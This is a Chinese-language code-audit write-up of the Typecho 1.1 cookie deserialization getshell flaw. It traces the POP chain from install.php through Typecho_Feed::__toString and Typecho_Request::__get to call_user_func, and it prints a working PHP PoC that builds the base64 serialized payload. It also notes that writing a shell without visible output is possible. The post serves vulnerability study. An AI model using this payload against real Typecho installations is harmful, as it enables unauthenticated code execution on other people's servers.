[php代码审计] Typecho 1.1 -反序列化Cookie数据进行前台Getshell
环境搭建
源码下载：https://github.com/typecho/typecho/archive/v1.1-15.5.12-beta.zip
下载后部署到web根目录，然后进行安装即可，其中注意要提前在mysql中创建一个对应的数据库.
漏洞分析
漏洞起始点前的障碍清除
先是一个refer检测，填写一个站内地址即可
$_SERVER中到底哪些是可以通过客户端进行控制的呢？？？
漏洞起始点
、
全局搜索所有的__wakeup函数和__destruct函数，但似乎都没有利用点
按照之前的思路，我一般就放弃了，但这题，让我见识了新思路。就是只要是用户可控的，可能在某一点没办法利用，但可能在其余的地方被利用
按照大师傅的思路，跟着输入流继续往下走
可以看到，$config可控，此时的不就会触发__toString了嘛！！！！
全局跟踪__toString
不得不说，phpstorm还是好啊，不仅支持函数预览，不用一个个手点进去。而且对于空函数还直接标注了。亏我还是从头开始找的。仔细看看图，后三个为有函数体的，前面没有函数体的，会微微泛黄
漏洞搜寻-测试点1
最开始看到这里的时候，我感觉都可以形成链子了，$callback $args 都可以控制
最后失败了，原因是这里的$callback是静态变量中的，如果是$this就可以了。。
漏洞搜寻-测试点2
不得不说这一段是真的长，只能慢慢看。看了好久，似乎没啥发现。。。
看了其他文章，才发现这里涉及__get触发--也就是访问了非public变量
这样的话，我们又开始要全局追踪__get函数了
只能说有点浮躁，不愿意继续往下跟踪，看了所有的都没发现漏洞。。。
看到了非常nice的函数！！！
回过头分析，判断确实都可控，直接构造pop链
install.php-> Typecho_Feed::_toString->Typecho_Request::__get()->Typecho_Request::get()->Typecho_Request::_applyFilter()->call_user_func($filter, $value)
POC
<?php
class Typecho_Request{
private $_filter = array();
private $_params = array();
public function __construct(){
$this->_params['screenName'] = -1; //payload
$this->_filter = array("phpinfo");
}
}
class Typecho_Feed{
private $_type = "ATOM 1.0";
private $_charset = "UTF-8";
private $_lang = "zh";
private $_items = array();
public function __construct(){
$this->_items[0]['author'] = new Typecho_Request();
$this->_items[0]['categoty'] = array(new Typecho_Request());
}
}
$a = array();
$a['adapter'] = new Typecho_Feed();
echo base64_encode(serialize($a));
成功
构造POC发现的问题
- 类中的数据序列化前，确保它的访问属性保持一直，避免反序列化不成功！！！
- 最开始构造了一个POC，结果总是返回一个数据库错误，因为在 install.php 的开头部分调用了程序调用了ob_start()，它会开启缓冲区并将要输出的内容都放进缓冲区，想要使用的时候可以再取出。但是我们的对象注入会在后续的代码中造成数据库错误。异常处理机制中最开始就直接将缓冲区清零了，所以会导致开始的目标信息无法输出。
解决办法：调试的时候手动添加exit提前退出。实际情况下，就控制程序不要走Exception，避免ob_end_clean()清除缓冲区 - 对于2的问题，只是会刷新缓冲区。但并不影响恶意代码的执行。所以如果直接进行shell的写入或类似的不需要回显的操作时，也是可以的。
ENDING
反序列化就是多跟，多联想。只要思路广，链子永不断！！！
